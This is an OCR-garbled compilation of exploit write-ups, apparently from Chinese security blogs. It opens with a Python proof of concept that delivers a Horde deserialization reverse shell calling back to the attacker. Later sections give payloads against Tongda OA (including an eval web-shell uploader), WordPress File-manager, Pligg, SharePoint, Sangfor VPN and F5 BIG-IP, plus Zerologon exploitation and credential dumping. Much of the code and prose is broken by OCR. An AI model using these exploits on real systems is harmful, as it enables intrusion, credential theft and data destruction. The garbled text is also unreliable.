It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privilege

Example:

saturn:~ mr_me$ ./poc.py
(+) usage ./poc.py <target> <path> <user:;pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8ogOmtaadm3efb6


https://srcincite.io/pocs/zdi-20-1051.py.txt

(+) inserted our php object

(+) triggering deserialization...

(+) starting handler on port 1337

(+) connection from 172.16.175.145

(+) pop thy shell!

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd

/var/www/horde/services

uname -a

Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit

*** Connection closed by remote host ***

(+) repaired the target!

import re

import sys

import socket

import requests

import telnetlib

import base64

from threading import Thread

def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0);
@ignore_user_abort(1);
$dis=@ini_get('disable_functions’);
if(lempty($dis)){
$dis=preg_replace(/[, 1+/', ", $dis);
$dis=explode(’,’, $dis);
$dis=array_map(‘trim', $dis);
telse{
$dis=array();
}
$ipaddr="%s";
$port=%d;
function PtdSIhY($c){
global $dis;
if (FALSE !== strpos(strtolower(PHP_OS), 'win")) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=0b_get_contents();
ob_end_clean();
if (strlen($0) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs="no exec functions’;
$s=@fsockopen("tcp://$Sipaddr”,$port);
while($c=fread($s,2048)){
$out =";



if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
Jelse if (substr($c,0,4) == 'quit’ || substr($c,0,4) == "exit’) {
break;
}else{
$out=PtdSIhY(substr($c,0,-1));
if($out===rfalse){
fwrite($s, $nofuncs);
break;

}
fwrite($s,$out);

}
fclose($s);""" % (cbh, cbp)

def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p={
"login_post" : 1337,
"horde user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]

def trigger_deserialization(t, p, s, host, port):

""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()

uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)

p={
"imple" : "IMP_Prefs Sort",
"app" : "imp",

}

h = {"cmd" : base64.b64encode(rs(host, port).encode()) }

¢ ={"Horde":s}

r = requests.get(uri, params=p, cookies=c, headers=h)

match = re.search("horde_logout_token=(*)&", r.text)

assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)

r = requests.get(uri, params=p, cookies=c, headers=h)

assert r.status_code == 200, "(-) failed to trigger deserialization!"

def get_pop():
""" An updated pop chain """

pop = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'

pop += 'S:43:"\\OOHorde_Kolab_Server_Decorator_Clean\\00_server";0:20:"Horde_Prefs_ldentity":3:{’

pop +='S:9:"\\00*\\00_prefs";0:11:"Horde_Prefs":2:{’

pop +="S:8:"\\00*\\00 opts";a:1:{’

pop +='s:12:"sizecallback";a:2:{i:0;0:12:"Horde_Config":1:{'

pop +='S:13:"\\00*\\00_oldConfig";s:44:"eval(base64 decode($ SERVER[HTTP_CMD]));die;";'

pop += '}i:1;5:13:"readXMLConfig";}}'

pop +="S:10:"\\00*\\00_scopes";a:1:{'

pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}' # implements Serializable using custom unserialize/serialize



pop +="S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}’
pop +='S:14:"\\00*\\00 _identities";a:1:{i:0;i:0;}}' # additional checks
pop += 'S:42:"\\OOHorde Kolab_Server Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'

return pop

def get_patch():

""" Qur original array """
patch ="a:1:{'
patch +='s:5:"INBOX";a:1:{'
patch +="s:1:"b";i:6;'
patch +="}}'
return patch

def set_pref(t, p, s, k, 0):

""" A primitive that inserts a string into the database
uri = "http://%s%sservices/ajax.php/imp/setPrefValue” % (t, p)

p={
"pref" : k,
"value" : o,
}

c={"Horde":s}

r = requests.get(uri, params=p, cookies=c)

match = re.search("horde_logout_token=(*)&", r.text)

assert match, "(-) failed to leak the horde_logout_token!"

p['token'] = match.group(1)

r = requests.get(uri, params=p, cookies=c)

assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"

def handler(Iport):
print("(+) starting handler on port %d" % Iport)
t = telnetlib.Telnet()
s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", Iport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()

def fix_path(p):

ifp=="/"
return p

if not p.startswith("/"):
p="/%s"%p

if not p.endswith("/"):
p="%s/"%p

return p

def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path = fix_path(sys.argv[2])



user = sys.argv[3].split(":")[0]

pswd = sys.argv[3].split(":")[1]

host = sys.argv[4].split(":")[0]

port = int(sys.argv[4].split(":")[1])

print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")

print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")

saturn:~$./poc.py 172.16.175.148/horde/ hordeuser:pass123 172.16.175.145
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8ogOmtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
=tk BEAOAFERFER
1. B5iaal /ispirit/login_code.php 3XKBX codeuid,
2. 178 /general/login_code_scan.php 23 post £4§:
uid=1&codeuid={9E908086-342B-2A87-BOE9-E573E226302A}

PLTEGSO UGS IDAT(0000<0 0G0
6o
ORGSO G (P E0 0011y P <

0000 HNN0U O G € 0000 G000 - 000 6000 601 66 9009000 66 ( GG o O GO O 66 €065 66
OO0 G09G: - €/ nO0E |/ IR 1 | 905, > GI00N0: (€ GHRPRNNNE 006 6 606 68 (< 660
AOx € OODESC OO0 | /29 2C00Q°_@5x* el 7.7 G 0GR 00 60
~ OO0 G © CGRR0 £ 660 GH0HC: 6660 66

WO IENDR € "status”:1,"code_uid":"{9E9@80886-342B-2A87-BOE9-D75C9958F5F5}"}

{'Content-Encoding': ‘gzip', 'Tr an‘ft-r‘ Enccdmg s 'Se okie": : rcm6fhiuoBoes3; =/"', 'Expir
es': 'Thu, 19 Nov 1981 ©8:52:08 GMT : yt- - : "nginx’ ec ': "keep-a *, "Pragma’: 'no-cac
he’, "Cache-Control’: 'no-store, no-c k=", ‘D ‘s "Fri, 22 May 2020 ©2:41:42 GMT',

(cntent Type': "text/ ntm charset= gb« }
Yy . F1k0A <

3. &/gihiE /ispirit/login_code_check.php?codeuid=xxx



IX#¥ $_SESSION B TBERIERT.

—+t. @XOA v11.7 F&SQLEA

RS FESRIIR, XEFEEH TRBAEEAIMysq iR, XEEAREH.
/general/hr/manage/query/delete_cascade.php?condition_cascade=
select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99))

1. AII—mysqlfBF

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

Request Response

(Ranea] Pasams | Hieaders | Hen |  Rawe | Heacers [ vex |

ey [ W Actions v preny raw [EENED 0 Actions v
| GET /general /hr/manage/query/delete_cascade . php?condition_cascade= .

gront®20011%20privil eges3Z00NS20mysql . *X20TORZ0%2 7oteanb66%2 TEX2 TX%2 7520 IDENT IF IEDR20BYS20%2 7 r
obcABCE123N2 TH2OWI THEZOGRANTNZO0PTION HTTP/1.1

! Host: I & 1& .o

3 Upgrade-Insecure-Requests: 1 fir BB R 2 !

4 User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 10_16_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/85.08.4183.83 Safar1/537.36

5 Accept:

text/himl , application/xhtalexml ,application/xml ;q=0.9, image/ovif, image/webp, image/apng, */* ;q=

©.8,application/signed-exchange;v=b3;q=8.9

Accept-Encoding: gzip, deflate

7 Accept-Longuage: zh-(N,zh;q=0.9

8 Cookie: PHPSESSID=d4qlhj@q7Smloblgdlffngdvun

3 Connection: close

2, #5BlEEAYateamB66IKRIIMYsqitR,
UPDATE "mysql . user SET "Password = ’#DE0742FA79F6754E99FDBIC8D2911226A5A9051D", “Select priv. =Y, “Insert priv. =Y, "Ur
3. REEUEER LS RE SRR,

/general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

4, BIAOAECEMysqERABRITEINNRIRIFTAT EIE K mysqiRINE R,
/general/hr/manage/query/delete_cascade.php?condition_cascade=

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

5. ETRHEEWmysqiRNTHRAIRHRMS 233...

S https://mp.weixin.qg.com/s/8rvIT1y_odN2obJ1yAvLbw

—+J\. Wordpress File-managerif{tH{E=314 E&

RIS RZ 3 WordpressFHAFEAE; File-managerifftH B2 1H 2 MIRRTERAS AR H AR &R

il

Request Response

iR— Pnrm]HudnmIHlxi Raw Hndon]Hul
POST /wordpress/wp-content/plugins/wp-file-manager/1lib/php/connector.minimal.php - HTTP/1.1 200 OK
HTTP/1.1 e Date: Tue, 08 Sep I0IZ0 10:34:00 GHAT

2 Host: 192.168.43.44 Server: Apache/2.4.39 (Viné4) OpenS5SL/1.1.1b mod_fcgid/2.3.%a1
Content-Length: 402 4 X-Povered-By: PHP/7.0.9

i Pragma: no-cache S Expires: Thu, 19 Nov 1581 08:52:00 GHNT
Cache-Control: no-cache Cache-Control: no-store, no-cache, must-revalidace
Upgrade-Insecure-Requescs: 1 Pragma: no-cache

7 User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4:; x€é4) AppleVebKic/537.3& (KHTHL, Sec-Cookie: PHPSESSID=lrafjecelin040drSIigasmsqOsi; pach=/
like Gecko) Chrome/085.0.4103.83 Safari/537.3¢€ % Content-Length: 1100
Origin: heep://192.1€60.43.44 Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundar yaXSaBKtbhtaWrxTSO Content-Type: application/json; charset=utf-8
Accept:
text/html, application/xhtmlexml, application/xml;q=0.9, image/avit, image/vebp, image/a 1
png, */*:q=0.8,applicacion/signed-exchange;:v=b3:q=0.9 "added"™: [

1 Referer: )
htep://1592.1£68.43.44/vordpress/wvp-content/plugins/wp-£file-manager/1ib/php/connector "isowner”:false,
.minimal.php "rs": 1566561240,

2 Accepr-Encoding: gzip, deflate "mime": "text x=php",
Accepr-Language: zh-CN, zh:q=0.9 "read”:1,

i Cookie: PHPSESSID=lrafjece3n040drSZgasmaq0OsZ; XDEBUG_SESSION=PHPSTORM "write":l,
Connection: close .o

------ WebKitFormBoundaryaXSaBEtbtsWrxT50
Content-Disposition: form-data; name="upload(0]":; filename="shell.php"
Content-Type: image/jpeg

ntent' /plugins’/wp-£ile-manager
)

<?php phpinfo():?> "removed”: [
—————— VebKitFormBoundaryaXSaBKebtsWrxT50 "1 hibGwucGhe"
Content-Disposition: form-data; name="cmd" ]
"changed": [
up load ]
------ VebKitFormBoundaryaXSaBEtbtsWrx TS0 "isowner"”:false,

B EAERS TR

/wordpress/wp-content/plugins/wp-file-manager/lib/files/shell.php



£ https://www.anquanke.com/post/id/216990

—th. Pligg CMSizf2LE3HIT[CVE-2020-25287]
BRI EEEREA. ZPligg2.0. 34,

Raw | Params | Headers | Hex |

etty m \n Actions v

POST /admin/admin_editor.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 33

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 (KHTMIL
Chrome/85.0.4183.102 Safari/537.36

Cookie: panelState=CollapseManage%7CCollapseSettings¥%7CCollapseTemplate; PHPSE!
1fkc3gtrvSolgolmtSmd3; mnm_user=Admin; mnm_key=QWRtaW46MjIOR2dEVTAxZncxZzpl
Connection: close

the_file=. .%2Findex.php&open=0pen

1, EhRGRIERR IR LIRE RGNS X R INEER R B SE BT,
£ https://github.com/jenaye/pligg

& Pi—_ - Template Editor
File Opened
Currently open: ../index.php
ifS_GET'cmd'IN
(12 system($_GET[cmd’)
o I

function str_ends with(Shaystack, Sneedle)
# Settings _S0d3 W Sncedie) { .‘ o
return ( substr (Shaystack, -strien (Sneedie) ) === $needie) || Sneedie =

1
|

=-+. ZeroLogoniEEHEINRiRiR[CVE-2020-1472]
1. LEHHEA

NetlogonimiEtMUE—MEfEd 2B (RPC) #0O, ATFEFEHNINE EARFFTENSHEIE. Netlogonmi2 Y RPCEIERT
Siptgiztiss (BDC) SHIEURE.

NetlogoniTiE MY AT 4EF ISR R B2 HIRE (DC) |, IAIDCZIMLARESIHAIDCZBRIERR. WRPCHEOBTAMMERRLR
E

2. [wRNA
ZimAEEZRTEfEANetlogonR2BIE SEIEHITIEER, ATAEMINERRS IR, SENEETLSEEERERBRNERE
A=, MiE—P LM EBhashiREFRESRSEERIIR, KRIIRF ARSI SRR RS REEIREG, Fd— St .

3. BRI



* Microsoft Windows Server 2008 R2 SP1

* Microsoft Windows Server 2012

* Microsoft Windows Server 2012 R2

* Microsoft Windows Server 2016

* Microsoft Windows Server 2019

* Microsoft Windows Server version 2004 (Server Core Installation)
* Microsoft Windows Server version 1903 (Server Core Installation)

* Microsoft Windows Server version 1909 (Server Core Installation)
4. BRI E

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

5. mREm

WEFE: Kkali

ZEEFHZ: owa.rootkit.org(window2008)

1B ImpacketZE3&iEZerologon (CVE-2020-1472) PythonBlR (https://github.com/SecuraBV/CVE-2020-1472)
BEHHITNetlogonSHAIIELET, BIIHUTRER, MAEIZEPZLE, HETHITEEINetlogoniZ{E
FEZEPython 3.7LA ERRAL K pip

pip install -r requirements.txt

AERMREMEImpacketE

https://github.com/SecureAuthCorp/impacket

python3 setup.py install //ZZEimpacket

BT

HUTHIRI AR BARBFRTLAZEDCEAHEIDC, AFEEXAMPLE-DCRIEHIZ LR DCRIIP:
.Izerologon_tester.py EXAMPLE-DC DCHJIP

.Jzerologon_tester.py OWA 192.168.1.104

WMRFERE, £IREISE: Success! DC can be fully compromised by a Zerologon attack

2 {#Fcve-2020-1472-exploit. py##{ TS (Uidigi=Hze R B S ZZEZerologonIid. HZEINER, BDCHKFZIEEENTFRH)
BIRRMHEERZImpacketfE:

https://github.com/SecureAuthCorp/impacket

git clone https://github.com/SecureAuthCorp/impacket.git

python3 setup.py install //ZZEimpacket

HUTHIA

https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py owa 192.168.1.104

WRFFRRERID, N£27: vulnerable, changing account password to empty string

3. {FEMimpacketfiisecretsdump.pyiiESHigizE Fadhash

python3 secretsdump.py rootkit.org/owa\$@192.168.1.104 -no-pass

4, FEFNEREERhash, BidimpacketiJwmiexec. py EITAE R iR IR SS 28 SRS ISR RiIR G SED

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286¢7c8caec978b
rootkit.org/administrator@192.168.1.104

5. JKENEIERhash, TBERSHsam#EREFAIRRAYHE hash
reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\security security.save

get system.save

get sam.save


https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

get security.save

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

del /f system.save

del /f sam.save

del /f security.save

IR XELRE— KSR SMACHINE:ACCIHKE fhash(E, iFEhashiljEE

6. E1TEHAIhash

TEREIZ https://github.com/risksense/zerologon

python3 reinstall_original_pw.py owa 192.168.1.104 ad611ebf4fd2de9448a33bab693b212f4 /L EERhashBUERS, RBEBFEIS

WSRRRZEAAINNIEER: Success! DC machine account should be restored to it\'s original value. You might want to secretsdump

again to check

7. EitEHAhash

{FAimpackethIHIASERIF IR Ehash

python3 secretsdump.py rootkit.org/administrator:Password1@192.168.1.104 -just-dc-user owa\$
ER7TLBRAYMARIShashpl

python3 reinstall_original_pw.py owa 192.168.1.104 ad611ebf4fd2de9448a33bab693b212f4  /¥E=hashfUERs, RBEBFES

python restorepassword.py rootkit.org/administrator@192.168.1.104 -target-ip 192.168.1.104 -hexpass
aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286¢7c8caec978b

1EiEmimikatzARCVE-2020-1472I788Id5ActiveDirectory i =518 :

# Isadump::dcsync /domain:LAB.LOCAL /dc:dc.lab.local /user:krbtg t/authuser:dc$ /authdomain:LAB /authpassword:"" /authntim
# Isadump::zerologon /target:dc.lab.local ~ /account:dc$

# Isadump::zerologon /target:dc.lab.local ~ /account:dc$ /exploit

# Isadump::dcsync

# Isadump::postzerologon /target:dc.lab.local ~ /account:dc$ #IRE 1S

snortia AN :

alert tcp any any —> any ![139, 445] (msg:”Possible Mimikatz Zerologon Attempt”; flow:established, to server; content:”|00|”; offse
WindowsS{4 & THSEHE

ERITHNT BOtEE, EaEEwindowsSE4HETREEF, eventid947428]#4624, 5805



Event 4742, Microsoft Windows security auditing.

General | Details

A computer account was changed.

Subject:
Security D
Account Mame:
Account Domain:
Logon ID:

Security |D:
Account Name:
Account Domain:

Changed Attributes:
SAM Account Name:
Display Name:
User Principal Name:
Home Directory:
Home Drive:
Script Path:
Profile Path:
User Workstations:
Password Last Set:
Account Expires:

ANONYMOUS LOGON
ANONYMOUS LOGON
MNT AUTHORITY

3E6

Computer Account That Was Changed:

MOON\OVERLORDS
OVERLORDS
MOON

9/17/2020 11:28:46 PM

Log Name: Security

Source: Microsoft Windows security Logged:

Event ID: 4742 Task Category:
Level: Information Keywords:
User: N/A Computer:
OpCode: Info

More Information: Event Log Online Help

EWindows 8B E#+, HriZ={4ID 5829, 5827, 5828, 5830,

9/17/2020 11:28:46 PM
Computer Account Management
Audit Success

Overlord.moon.local

5831, HIHLIERXEX/LNEHIDLISEEE

1. BEVIIRERE N RIS INetlogon R £ BIEIEERT, 1GLERMSEHID 5829,

2. BERETLASIEEMRID 5827F15828, XLHEHIDIEFERAAINetlogonZE B ART A
3. 5830, 58314NR iFi=HI=E: AIFZZWERINetlogonT L BEEREHRIERITIEE.
mimikatzi@idzerologonIIERINE, EEB NE4id/94648,

SEYH:

https://mp.weixin.qg.com/s/xg6gwgomkEOru3IR3EmDaw

=+—. ThinkAdminV6 {EE3{HEE

Update.php = MRERIE T AR

1. BREDEEPOSTHIEGrulesS BT EURLIRG
POST /admin.html?s=admin/api.Update/node

rules=%5B%22.%2F %22%5D


https://mp.weixin.qq.com/s/xq6gwgomkE0ru3lR3EmDaw

Request Response

Raw | Params | Headers | Hex | | Raw | Headers | Hex | ISON Beautifier | MarkINFO |
Pretty m \n  Actions v Pretty RSN \n  Actions v
1 POST Jadmin.html7?s=cdmin/api.Update/node HTTP/1.1 Al 7 Set-Cookie: PHPSESSID-7471Bab5dcd5234e90bfdleld6azlfed; pai
2 Host: ", 3" J5.0 8 Strict-Transport-Security: max-age-31536000
3 Content-Type: application/x-waw-fors-urlencoded 9 Content-Length: 215874
4 User-Agent: Mozillo/5.@ (Macintosh; Intel Mac 05 X 18_16_8) AppleWebKit/537.36 (KHTML, like 18
Gecko) Chrome/BS,0.4183.83 Safari/537.36R2 11 4
5 Content-Length: 22 “code":1,
“info" : &N
rules=R5B%22 . X2F%22%5d “data":{
"rules”:[
1.
“ignore”; [
1,
"list":[
{
"name” ;" /404 html”,
"hash” ;" 24f7cf64b4fd388773% Tbaldchf18a2"
|
{
"name” : fadmin_v6.sql",
“hash® ;" abadddelaobde?d45f 1ef 350d7846c52"
I
{
"name”:" app’/admin\/co At es.ph
“hash” :"5172786148c2bfedds 40¢5673b
.

2, MHEELEEI—SHRUTFSFRIEINERENER, HESRTEUpdate. phpRIINZEREL.
/admin.html?s=admin/api.Update/get/encode/
343920302x2r1b37382p382x2r1b1alalb1alalb2r33322u2x2v1b2s2p382p2q2p372t0y342w34

code
info:
* data: |
conlenl:

=-+=. CVE-2020-1181: SharePointiZf2{{iE 1T

) EEREET, E(IWEBEIRAAZEERIMIcrosoft SharePoint 2019 Server, ZZEfEWindows Server 2019 Datacenter®Z% L., RSSES
FEHNFRAsp2019. contoso. lab, BflNcontoso. lablfd, IHIZHIEEA—EIMMIZIAVEMIN. BirENBRIRE 20202 B MR T,
ISR IR AS /916.0.10355. 20000,

WERGH RBEEEASISIWebXESERRIRT. A TERTR, HliIEMRYNISETIMorzilla Firefox 69.0.3, B ERSRISIEILIAT

WikiContentWebpart, ?lg—ﬂﬁg?ﬂwikiContentRCE .xml,

1. 8% TikaISharePoint Server, LAEEFRF (user2) BISSHHIAIE:

'.J'r.;_iﬂ‘;\’e bApp

QRO R, FZAFPTMZIEREE (FEE)  BEERIR. (FHRRHEERFEBLIELRANIR)
MRETRENERAY" SharePoint” X1 :


https://p4.ssl.qhimg.com/t011d29d0e8f3a61e16.png
https://p5.ssl.qhimg.com/t019b5d074fdacbc421.png

RERTE" + BIEMg EE:

AR e - weE =

=

BEE" Team Site . PEKANIFEEFLRIRERZIR, XBEHNIZE Ntestsiteofuser2,

WERTE" Pages "jEf%:

| L

& O & wans @ x 0@

HAIBEDRE" Classic View ", B AV Return to classic SharePoint "§E%B0E] :


https://p1.ssl.qhimg.com/t01c4c3d11426947dda.png
https://p1.ssl.qhimg.com/t01b9f675aa3694e7c4.png
https://p4.ssl.qhimg.com/t01bbe86ce5d453517e.png
https://p0.ssl.qhimg.com/t0129dd44a30f90a9c6.png
https://p5.ssl.qhimg.com/t010f762e34c614455c.png

RE" + New ", AFTUEHIRE—PNER. XBEFK(IRE Inewpagel:
| COTS- -

o @ B & we - @ + WD =

.o .~
N[ Item

& B TR,

WEFAIFTEA" INSERT "TRERILFE" Web Part "

@ O & s . Fm@ e =

ELABEOR, ERATHEN Upload Web Part "§4552, E{EFAIKIERIWikicontentRCE . xm1 34

R LF BATESEE—EEEE: "WABTRE? SRARNSETEASEERTE . W RE" BARE T&HAE, REIEREN
&

“ e e |0 & - & s mo
,
(=) . 7
Sam:

HA IR EBIRAEINSERTIRES TURIEIE Web S5/ NG}, BRI HINFEA IS INAIWebER(H-:


https://p0.ssl.qhimg.com/t0183bdda8d7160c734.png
https://p2.ssl.qhimg.com/t015824596f8e5c3527.png
https://p0.ssl.qhimg.com/t013d8a2cd5f454b46e.png
https://p4.ssl.qhimg.com/t013d87ad1a5001ddbd.png
https://p0.ssl.qhimg.com/t01170355567b878cf0.png
https://p3.ssl.qhimg.com/t0170a41a016f011bfa.png

B oo we e L
. s TRIPC + Lo DukiT) + Wisdves, © Tamg .

LAY iZ B R AFIERCE_PoC. txt 314,
DEFA LRI E N, BRAISINAIWeb PartZRINZEITIE

* ce 0 & s - +noOT =
:
.

BRIEBFIRSEE LR C: \windows \temp B R :

rb

BSIXFGE, WEETLURITERRAG S, NERSEE, HEERFEMEWikicontentrRCE. xmI3 {4, Fecho puned >
c:/windows/temp/RCE_PoC. txt%ﬂf%?ﬁﬁ%ﬁﬁ‘ﬁ%ﬂgﬁ/v\ﬂpﬂo

=+1=. FSIRSSL VPNIEHBESR
TSRV PN S P T R Okey, B S IR ey M B B TTO MR (M TRl BUE R PR O BEAS
R FEERKS
M7.6.6R1hRAZkIAkey 920181118
M7.6.1hRAERIAkey 820100720
sangfor_key.py
from Crypto.Clipher import ARC4
from binascii import a2b_hex
def myRC4(data,key):
rc41=ARC4.new(key)
encrypted=rc41.encrypt(data)
return encrypted.encode('hex')
def rc4_decrpt_hex(data,key):
rc41=ARC4.new(key)

return rc41.decrypt(a2b_hex(data))


https://p5.ssl.qhimg.com/t01b31ae1df4fdcd0c1.png
https://p3.ssl.qhimg.com/t01c41c1cd7a4f6d05b.png
https://p4.ssl.qhimg.com/t013ffc7f80227c1c96.png
https://p3.ssl.qhimg.com/t01831f4655e10c52de.png

key='20200720'
data=r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,'

print myRC4(data,key)

GNU nano 2.0.6 File: sangfor.com.py

ip=127.0.0.1,grpid=1,pripsw=suiyi

https://<PATH>/por/changepwd.csp(post)

sessReg=clusterd&sessid=0&str=RC4_STR&len=RC4_STR&len=(HIARITEFER)

POST /por/changepwd.csp HTTP/1.1
! Host: 1va =K.l
i User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_16_0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Cookie:
i Content-Type: application/x-www-form-urlencoded
Content-Length: 208

i sessReg=clusterd&sessid=0&str=RC4_STR&len=
i SR Rl R BT B L L e e Ll L R L Ly o RL AR LD BL p ] B BT o Lall Bl
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https://<PATH>/por/changetelnum.csp?apiversion=1

newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

POST /por/changetelnum.csp?apiversion=1 HTTP/1.1

Host: I*¢ # J

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_16_0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

Cookie:

Content-Type: application/x-www-form-urlencoded

Content-Length: 208

newtel=13¢ am™ »194&sessReg=clusterd&username=admin&grpid=0&sessid=0&ip=127.0.0.1


https://%3Cpath%3E/por/changepwd.csp
https://%3Cpath%3E/por/changetelnum.csp?apiversion=1

—+[. BiXOA v11.6kRARCERR

—. PMEhRA 11.6

—. EIIiE

1.T7E11.6rRA0a, TEHEE: http://www.kxdw.com/soft/23114.html

2%
IR
h T W TooA11.6 2020/5/911:19  RefEiERs 365,077 KB
B == & FRER 2017/9/11 9:48 Internet HRESE 1KB
= BEIOAERMTE A FRGEIERE T E IR ERTE 2017/9/11 9:48 Internet HER 1 KB
s
B A

ERERARERS

é_g E%ﬁﬁgﬂ NEMN RS HAERRHEE TR HEART(
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BRIMIEI {3k
D: \MYDA I (R). ..

InstallS hield

KE—$6)|[F—5m > [ A |

localhost

OFFICE ANYWHERE®
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P &R B X EH
h = TDOA11.6 2020/5/9 11:19
W == # Frieain 2017/9/11 9:48
< BESRRE & FrOBTRE TS SIS R E 2017/9/11 9:48
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L BR
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YebRSH: | REMhttp

VeblRSE&#R: |Localhost & [ 8089 TTLAEMA

HttpdRO: [8089 | [ #woem

Httpsdh[l: [443 ' ‘ A |

3.expfiiA

import requests

target="http://ip:port/" //HAMES FHE%<oallipMKixCl

payload="<?php eval($_POST['hahaha']);?>"

print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue”)

print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php”
requests.get(url=url)
print("[*]Checking if file deleted...”)
url=target+"/inc/auth.inc.php”
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[-]Failed to deleted auth.inc.php")
exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")




url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"

files = {'FILE1": ('"deconf.php’, payload)}
requests.post(url=url files=files)
url=target+"/ _deconf.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[+]Filed Uploaded Successfully")
print("[+]URL:",url)
else:
print("[-]Failed to upload file")
4 SRS TIZex YRR T E]

root@VM-0-10-ubuntu:/mytools/tongdaoca# python3 exp.py
[*IWarning,This exploit code will DELETE auth.inc.php which may damage the 0A
Press enter to continue
[*]1Deleting auth.inc.php....
[*1Checking if file deleted...

[+]Successfully deleted auth.inc.php!
[*]Uploading payload...

[+]Filed Uploaded Successfully
[+JURL: http: g ' ™ o
root@VM-0-10-ubuntu:/mytools/tongdaoa#

5. FEEEEZE], AT

| LN N mosoem B

$RECYCLE. BIN
6O METE T #
2 Documents and Settings ) Documents and Sett
Perflogs
phpstudy_pro
| Program Files
3 Program Files (x86) -l TYOEYY
ProgramData
. System Volume Information
TEMF

] Users ol

] Windows Cl TEMG

https://github.com/TomAPU/poc_and exp

. wm 8089/ deconf.php

1Y

L5 (=) b Ett

https://drivertom.blogspot.com/2019/06/pyspider-webuipocexp.html

https://www.cnblogs.com/yuzly/p/13600532.html

https://www.cnblogs.com/panisme/p/12560769.html

—1+H.F55aEIE: cve-2020-5902
RSN :

¢ BIG-IP 15.x: 15.1.0/15.0.0

e BIG-IP 14.x:14.1.0 ~ 14.1.2

e BIG-IP 13.x:13.1.0 ~13.1.3

e BIG-IP12.x:12.1.0~12.1.5

e BIG-IP 11.x: 11.6.1~11.6.5

AR S HITRCE:

curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin’'

SHRAMY 2020-08-20 £H°
Fhm 2|
AB)
Typel
[SEEE:
HRiEHR


